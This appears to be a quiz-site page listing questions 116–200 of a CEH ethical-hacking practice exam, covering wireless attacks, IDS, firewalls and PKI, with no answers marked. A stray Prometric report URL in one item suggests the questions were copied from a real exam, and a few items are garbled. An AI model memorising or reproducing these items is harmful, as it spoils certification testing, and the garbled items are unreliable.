- DStatic IP addresses
116When security and confidentiality of data within the same LAN is of utmost priority, which IPSec mode should you implement?
- AAH Tunnel mode
- BAH promiscuous
- CESP transport mode
- DESP confidential
117Internet Protocol Security IPSec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPSec does everything except:
- AProtect the payload and the headers
- BAuthenticate
- CEncrypt
- DWork at the Data Link Layer
118Which protocol is used for setting up secured channels between two devices, typically in VPNs?
- AIPSEC
- BPEM
- CSET
- DPPP
119The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and
- Anon-repudiation.
- Boperability.
- Csecurity
- Dusability
120In IPv6 what is the major difference concerning application layer vulnerabilities compared to IPv4?
- AVulnerabilities in the application layer are independent of the network layer.
Attacks and mitigation techniques are almost identical. - BImplementing IPv4 security in a dual-stack network offers protection from IPv6 atttacks too.
- CVulnerabilities in the application layer are greatly different from IPv4
- DDue to the extensive security measures built in IPv6, application layer vulnerabilities need not be addressed
- AVulnerabilities in the application layer are independent of the network layer.
121Which of these is capable of search for and locating rogue access points?
- AHIDS
- BWIPS
- CNIDS
- DWISS
122Supposed you are the Chief Network Engineer of a certain Telco. Your company is planning for a big business expansion and it requires that your network authenticate users connecting using analog modems, Digital Subscriber Lines (DSL), wireless data services, and Virtual Private Networks (VPN) over a Frame Relaynetwork. Which AAA protocol would you implement?
- ATACACS+
- BDIAMETER
- CKerberos
- DRADIUS
123Which of the following security policies defines the use of VPN for gaining access to an internal corporate network?
- ANetwork security policy
- BRemote access policy
- CInformation protection policy
- DAccess control policy
124A security analyst is performing an audit on the network to determine if there are any deviations from the security policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed. Which security policy must the security analyst check to see if dial-out modems are allowed?
- AAcceptable-use policy
- BFirewall-management policy
- CRemote-access policy
- DPermissive policy
125Which tool would be used to collect wireless packet data?
- ANetStumbler
- BJohn the Ripper
- CNessus
- DNetcat
126Smart cards use which protocol to transfer the certificate in a secure manner?
- AExtensible Authentication Protocol (EAP)
- BPoint to Point Protocol (PPP)
- CPoint to Point Tunneling Protocol (PPTP)
- DLayer 2 Tunneling Protocol (L2TP)
127In order to have an anonymous Internet surf, which of the following is best choice?
- AUse Tor network with multi-node
- BUse SSL sites when entering personal information
- CUse shared WiFi
- DUse public VPN
128Bluetooth uses which digital modulation technique to exchange information between paired devices?
- APSK
- BFSK
- CASK
- DQAM
129The following are types of Bluetooth attack EXCEPT_____?
- ABluejacking
- BBluebugging
- CBluesnarfing
- DBluedriving
130It is a short-range wireless communication technology that allows mobile phones, computers and other devices to connect and communicate. This technology intends to replace cables connecting portable devices with high regards to security.
- ABluetooth
- BRadio-Frequency Identification
- CWLAN
- DInfrared
131Which of the following is a wireless network detector that is commonly found on Linux?
- AKismet
- BAbel
- CNetstumbler
- DNessus
132Which of the following is a passive wireless packet analyzer that works on Linux-based systems?
- ABurp Suite
- BOpenVAS
- Ctshark
- DKismet
133Which of the following network attacks relies on sending an abnormally large packet size that exceeds TCP/IP specifications?
- APing of death
- BSYN flooding
- CTCP hijacking
- DSmurf attack
134Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?
- ATeardrop
- BSYN flood
- CSmurf attack
- DPing of death
135A new wireless client that is 802.11 compliant cannot connect to a wireless network given that the client can see the network and it has compatible hardware and software installed. Upon further tests and investigation it was found out that the Wireless Access Point (WAP) was not responding to the association requests being sent by the wireless client. What MOST likely is the issue on this scenario?
- AThe client cannot see the SSID of the wireless network
- BThe WAP does not recognize the client’s MAC address.
- CThe wireless client is not configured to use DHCP.
- DClient is configured for the wrong channel
136WPA2 uses AES for wireless data encryption at which of the following encryption levels?
- A64 bit and CCMP
- B128 bit and CRC
- C128 bit and CCMP
- D128 bit and TKIP
137During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?
- AThe tester must capture the WPA2 authentication handshake and then crack it.
- BThe tester must use the tool inSSIDer to crack it using the ESSID of the network.
- CThe tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.
- DThe tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.
138Which of the following BEST describes how Address Resolution Protocol (ARP) works?
- AIt sends a reply packet for a specific IP, asking for the MAC address
- BIt sends a reply packet to all the network elements, asking for the IP address from a specific MAC adress
- CIt sends a request packet to all the network elements, asking for the domain name from a specific IP
- DIt sends a request packet to all the network elements, asking for the MAC address from a specific IP
139You’ve just discovered a server that is currently active within the same network with the machine you recently compromised. You ping it but it did not respond. What could be the case?
- ATCP/IP doesn’t support ICMP
- BARP is disabled on the target server
- CICMP could be disabled on the target server
- DYou need to run the ping command with root privileges
140…….. is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a
fraudulent web site and luring people there. Fill in the blank with appropriate choice.- ACollision Attack
- BEvil Twin Attack
- CSinkhole Attack
- DSignal Jamming Attack
141This tool is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.
Which of the following tools is being described?- AAircrack-ng
- BAirguard
- CWLAN-crack
- Dwificracker
142Which type of antenna is used in wireless communication?
- AOmnidirectional
- BParabolic
- CUni-directional
- DBi-directional
143In 2007, this wireless security algorithm was rendered useless by capturing packets and discovering the passkey in a matter of seconds. This security flaw led to a network invasion of TJ Maxx and data theft through a technique known as wardriving. Which algorithm is this referring to?
- AWi-Fi Protected Access 2 (WPA2)
- BWired Equivalent Privacy (WEP)
- CWi-Fi Protected Access (WPA)
- DTemporal Key Integrity Protocol (TKIP)
144A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?
- AThe computer is not using a private IP address
- BThe gateway and the computer are not on the same network
- CThe computer is using an invalid IP address
- DThe gateway is not routing to a public IP address
145Which of the following descriptions is true about a static NAT?
- AA static NAT uses a many-to-many mapping.
- BA static NAT uses a one-to-many mapping.
- CA static NAT uses a many-to-one mapping.
- DA static NAT uses a one-to-one mapping.
146A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?
- ASpoofing an IP address
- BTunneling scan over SSH
- CTunneling over high port numbers
- DScanning using fragmented IP packets
147An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction http://www.google.com to his own IP address. Now when the employees of the office wants to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?
- ADNS spoofing
- BSmurf Attack
- CARP Poisoning
- DMAC Flooding
148From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)- A802.11a 150-150
- B802.11b 150-150
- C802.11g 150-150
- D802.16 (WiMax) 30 miles
149A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing – Reports https://ibt1.prometric.com/users/custom/report_queue/rq_str… corporate network. What tool should the analyst use to perform a Blackjacking attack?
- ABBCrack
- BParos Proxy
- CBlooover
- DBBProxy
150What is a successful method for protecting a router from potential smurf attacks?
- APlacing the router in broadcast mode
- BEnabling port forwarding on the router
- CInstalling the router outside of the network’s firewall
- DDisabling the router from accepting broadcast ping messages
151The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. Also he needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router nobody can access to the ftp and the permitted hosts cannot access to the Internet. According to the next configuration what is happening in the network?
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any- AThe ACL 110 needs to be changed to port 80
- BThe ACL for FTP must be before the ACL 110
- CThe first ACL is denying all TCP traffic and the other ACLs are being ignored by the router
- DThe ACL 104 needs to be first because is UDP
152A recent security audit revealed that there were indeed several occasions that the company’s network was breached. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?
- ATrue Positive
- BFalse Negative
- CFalse Positive
- DTrue Negative
153When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator’s Computer to update the router configuration. What type of an alert is this?
- ATrue Positive
- BTrue negative
- CFalse positive
- DFalse negative
154A network administrator received an administrative alert at 3:00 a.m. from the intrusion detection system. The alert was generated because a large number of packets were coming into the network over ports 20 and 21.
During analysis, there were no signs of attack on the FTP servers. How should the administrator classify this situation?- ATrue negatives
- BFalse negatives
- CFalse positives
- DTrue positives
155When tuning security alerts, what is the best approach?
- ADecrease False negatives
- BDecrease the false positives
- CTune to avoid False positives and False Negatives
- DRise False positives Rise False Negatives
156Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?
- ADetective
- BPassive
- CIntuitive
- DReactive
157Which of the following does proper basic configuration of snort as a network intrusion detection system require?
- ALimit the packets captured to the snort configuration file.
- BCapture every packet on the network segment.
- CLimit the packets captured to a single segment.
- DLimit the packets captured to the /var/log/snort directory.
158Which one of the following approaches is commonly used to automatically detect host intrusions?
- ANetwork traffic analysis
- BThe host’s network interface use
- CFile checksums
- DSystem CPU utilization (anything that widely deviates from the norm)
159Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?
- AFirewall
- BHoneypot
- CCore server
- DLayer 4 switch
160To maintain compliance with regulatory requirements, a security audit of the systems on a network must be performed to determine their compliance with security policies. Which of the following tools would MOST LIKELY be used to perform security audit on various of forms of network systems?
- AIntrusion Detection System
- BVulnerability scanner
- CPort scanner
- DProtocol analyzer
161Bob finished a C programming course and created a small C application to monitor the network traffic and produce alerts when any origin sends many IP packets, based on the average number of packets sent by all origins and using some thresholds.
In concept, the solution developed by Bob is actually:- AA behavior-based IDS
- BA signature-based IDS
- CJust a network monitoring tool
- DA hybrid IDS
162Which of the statements concerning proxy firewalls is correct?
- AProxy firewalls increase the speed and functionality of a network.
- BFirewall proxy servers decentralize all activity for an application.
- CProxy firewalls block network packets from passing to and from a protected network.
- DComputers establish a connection with a proxy firewall which initiates a new network connection for the client.
163Which of the following types of firewall inspects only header information in network traffic?
- APacket filter
- BStateful inspection
- CCircuit-level gateway
- DApplication-level gateway
164Which statement is TRUE regarding network firewalls preventing Web Application attacks?
- ANetwork firewalls can prevent attacks because they can detect malicious HTTP traffic.
- BNetwork firewalls cannot prevent attacks because ports 80 and 443 must be opened.
- CNetwork firewalls can prevent attacks if they are properly configured.
- DNetwork firewalls cannot prevent attacks because they are too complex to configure.
165A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?
- ANetsh firewall show config
- BWMIC firewall show config
- CNet firewall show config
- DIpconfig firewall show config
166A possibly malicious sequence of packets that were sent to a web server has been captured by an Intrusion Detection System (IDS) and was saved to a PCAP file. As a network administrator, you need to determine whether these packets are indeed malicious. What tool are you going to use to determine if these packets are genuinely malicious or simply a false positive?
- AIPS
- BVulnerability Scanner
- CProtocol Analyzer
- DNetwork sniffer
167Which type of access control is used on a router or firewall to limit network activity?
- AMandatory
- BDiscretionary
- CRule-based
- DRole-based
168Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra security and is ideal for observing sensitive network segments?
- ANIDS
- BHIDS
- CFirewalls
- DHoneypots
169A penetration test was done at a company. After the test, a report was written and given to the company’s IT authorities. A section from the report is shown below:
• Access List should be written between VLANs.
• Port security should be enabled for the intranet.
• A security solution which filters data packets should be set between intranet (LAN) and DMZ.
• A WAF should be used in front of the web applications.
According to the section from the report, which of the following choice is true?- AA stateful firewall can be used between intranet (LAN) and DMZ.
- BMAC Spoof attacks cannot be performed.
- CThere is access control policy between VLANs.
- DPossibility of SQL Injection attack is eliminated.
170The security concept of “separation of duties” is most similar to the operation of which type of security device?
- AFirewall
- BBastion host
- CIDS
- DHoneypot
171Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for http://www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?
- AConfigure the firewall to allow traffic on TCP ports 53 and UDP port 53.
- BConfigure the firewall to allow traffic on TCP ports 80 and UDP port 443.
- CConfigure the firewall to allow traffic on TCP port 53.
- DConfigure the firewall to allow traffic on TCP port 8080.
172Which of the following is a hardware requirement that either an IDS/IPS system or a proxy server must have in order to properly function?
- AFast processor to help with network traffic analysis
- BThey must be dual-homed
- CSimilar RAM requirements
- DFast network interface cards
173Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students. He identified this when the IDS alerted for malware activities in the network. What should Bob do to avoid this problem?
- AAsk students to use the wireless network
- BUse the 802.1x protocol
- CSeparate students in a different VLAN
- DDisable unused ports in the switches
174While conducting a penetration test, the tester determines that there is a firewall between the tester’s machine and the target machine. The firewall is only monitoring TCP handshaking of packets at the session layer of the OSI model. Which type of firewall is the tester trying to traverse?
- APacket filtering firewall
- BApplication-level firewall
- CCircuit-level gateway firewall
- DStateful multilayer inspection firewall
175A circuit level gateway works at which of the following layers of the OSI Model?
- ALayer 7 – Application
- BLayer 4 - Transport
- CLayer 3 - Network
- DLayer 2 - Data Link
176In the OSI model, where does PPTP encryption take place?
- ATransport
- BApplication
- CData Link
- DNetwork
177Which of the following types of firewalls ensures that the packets are part of the established session?
- AStateful inspection firewall
- BCircuit-level firewall
- CApplication-level firewall
- DSwitch-level firewall
178You are the Systems Administrator for a large corporate organization. You need to monitor all network traffic on your local network for suspicious activities and receive notifications when an attack is occurring. Which tool would allow you to accomplish this goal?
- ANIDS
- BFirewall
- CProxy
- DHIDS
179An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.
What is the most likely cause?- AThe security breach was a false positive.
- BThe attacker altered or erased events from the logs.
- CThe network devices are not all synchronized.
- DProper chain of custody was not observed while collecting the logs.
180Which security control role does encryption meet?
- APreventative
- BDetective
- COffensive
- DDefensive
181Which of the following is the successor of SSL?
- ATLS
- BRSA
- CGRE
- DIPSec
182Advanced encryption standard is an algorithm used for which of the following?
- AData integrity
- BKey discovery
- CBulk data encryption
- DKey recovery
183Which type of cryptography does SSL, IKE and PGP belongs to?
- ASecret Key
- BHash Algorithm
- CDigest
- DPublic Key
184Which of the following is a symmetric cryptographic standard?
- ADSA
- BPKI
- CRSA
- D3DES
185Which of the following is designed to verify and authenticate individuals taking part in a data exchange within an enterprise?
- ASOA
- BSingle-Sign On
- CPKI
- DBiometrics
186Which of the following is a characteristic of Public Key Infrastructure (PKI)?
- APublic-key cryptosystems are faster than symmetric-key cryptosystems.
- BPublic-key cryptosystems distribute public-keys within digital signatures.
- CPublic-key cryptosystems do not require a secure key distribution channel.
- DPublic-key cryptosystems do not provide technical non-repudiation via digital signatures.
187Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?
- ARSA 1024 bit strength
- BAES 1024 bit strength
- CRSA 512 bit strength
- DAES 512 bit strength
188Which service in a PKI will vouch for the identity of an individual or company?
- AKDC
- BCA
- CCR
- DCBC
189Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?
- AThe root CA is the recovery agent used to encrypt data when a user’s certificate is lost.
- BThe root CA stores the user’s hash value for safekeeping.
- CThe root CA is the trusted root that issues certificates.
- DThe root CA is used to encrypt email messages to prevent unintended disclosure of data.
190Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?
- APoly key exchange
- BCross certification
- CPoly key reference
- DCross-site exchange
191Which element of Public Key Infrastructure (PKI) verifies the applicant?
- ACertificate authority
- BValidation authority
- CRegistration authority
- DVerification authority
192 A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?
- APublic key
- BPrivate key
- CModulus length
- DEmail server certificate
193A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?
- AImplementing server-side PKI certificates for all connections
- BMandating only client-side PKI certificates for all connections
- CRequiring client and server PKI certificates for all connections
- DRequiring strong authentication for all DNS queries
194Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?
- AKey registry
- BRecovery agent
- CDirectory
- DKey escrow
195Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?
- ACertificate issuance
- BCertificate validation
- CCertificate cryptography
- DCertificate revocation
196XOR is a common cryptographic tool. 10110001 XOR 00111010 is?
- A10111100
- B11011000
- C10011101
- D10001011
197A hacker was able to sniff packets on a company’s wireless network. The following information was discovered:
The Key 10110010 01001011
The Cyphertext 01100101 01011010
Using the Exclusive OR, what was the original message?- A00101000 11101110
- B11010111 00010001
- C00001101 10100100
- D11110010 01011011
198The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?
- AAsymmetric
- BConfidential
- CSymmetric
- DNon-confidential
199What is the difference between the AES and RSA algorithms?
- ABoth are asymmetric algorithms, but RSA uses 1024-bit keys.
- BRSA is asymmetric, which is used to create a public/private key pair; AES is symmetric, which is used to encrypt data.
- CBoth are symmetric algorithms, but AES uses 256-bit keys.
- DAES is asymmetric, which is used to create a public/private key pair; RSA is symmetric, which is used to encrypt data.
200What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?
- ADue to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.
- BTo get messaging programs to function with this algorithm requires complex configurations.
- CIt has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.
- DIt is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.
Información
- Descripción
- Test sobre CEH 2, creado por L V el 13/06/2019.
- Autor
- L V
- Idioma
- English
- Visitas
- 2
- Valoración
- Aún sin valoraciones Valora este test